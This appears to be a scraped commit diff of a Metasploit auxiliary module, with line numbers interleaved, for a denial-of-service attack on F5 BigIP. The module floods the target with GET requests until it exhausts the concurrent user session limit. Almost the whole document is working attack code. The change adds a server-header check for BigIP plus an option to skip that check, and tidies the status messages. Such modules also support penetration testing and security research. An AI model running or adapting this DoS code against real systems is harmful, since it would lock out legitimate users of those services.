7
7
8
8
class Metasploit3 < Msf ::Auxiliary
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Auxiliary ::Dos
10
11
11
12
def initialize ( info = { } )
12
13
super ( update_info ( info ,
@@ -40,30 +41,40 @@ def initialize(info = {})
40
41
[
41
42
OptPort . new ( 'RPORT' , [ true , 'The BigIP service port to listen on' , 443 ] ) ,
42
43
OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , true ] ) ,
43
- OptInt . new ( 'RLIMIT' , [ true , 'The number of requests to send' , 10000 ] )
44
+ OptInt . new ( 'RLIMIT' , [ true , 'The number of requests to send' , 10000 ] ) ,
45
+ OptBool . new ( 'IGNOREMISMATCH' , [ true , 'Proceed with attack only if BigIP virtual server was detected' , false ] ) ,
44
46
] , self . class )
45
47
end
46
48
47
49
def run
48
50
# Main function
49
51
rlimit = datastore [ 'RLIMIT' ]
50
52
proto = datastore [ 'SSL' ] ? 'https' : 'http'
53
+ ignore_mismatch = datastore [ 'IGNOREMISMATCH' ]
51
54
52
55
# Send an initial test request
53
56
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
54
57
if res
55
- print_status ( "#{ peer } - Starting DoS attack" )
58
+ server = res . headers [ 'Server' ]
59
+ # Simple test based on HTTP Server header to detect BigIP virtual server
60
+ unless ignore_mismatch
61
+ if server !~ /BIG\- IP/ && server !~ /BigIP/
62
+ print_error ( "#{ peer } - BigIP virtual server was not detected. Please check options" )
63
+ return
64
+ end
65
+ end
66
+ print_good ( "#{ peer } - Starting DoS attack" )
56
67
else
57
- print_error ( "#{ proto } :// #{ rhost } : #{ rport } - Unable to connect to BIgIP . Please check options" )
68
+ print_error ( "#{ peer } - Unable to connect to BigIP . Please check options" )
58
69
return
59
70
end
60
71
61
72
# Start attack
62
73
( 1 ..rlimit ) . each do
63
74
res = send_request_cgi ( 'method' => 'GET' , 'uri' => '/' )
64
75
if res && res . headers [ 'Location' ] == '/my.logout.php3?errorcode=14'
65
- print_status ( "#{ peer } - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time" )
66
- print_status ( "#{ peer } - DoS attack is successful" )
76
+ print_good ( "#{ peer } - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time" )
77
+ print_good ( "#{ peer } - DoS attack is successful" )
67
78
return
68
79
end
69
80
end
@@ -77,9 +88,9 @@ def run
77
88
end
78
89
79
90
rescue ::Rex ::ConnectionRefused
80
- print_error ( "#{ proto } :// #{ rhost } : #{ rport } - Unable to connect to BigIP" )
91
+ print_error ( "#{ peer } - Unable to connect to BigIP" )
81
92
rescue ::Rex ::ConnectionTimeout
82
- print_error ( "#{ proto } :// #{ rhost } : #{ rport } - Unable to connect to BigIP. Please check options" )
93
+ print_error ( "#{ peer } - Unable to connect to BigIP. Please check options" )
83
94
rescue ::Errno ::ECONNRESET
84
95
print_error ( "#{ peer } - The connection was reset. Probably BigIP \" Max In Progress Sessions Per Client IP\" counter was reached" )
85
96
print_status ( "#{ peer } - DoS attack is unsuccessful" )
0 commit comments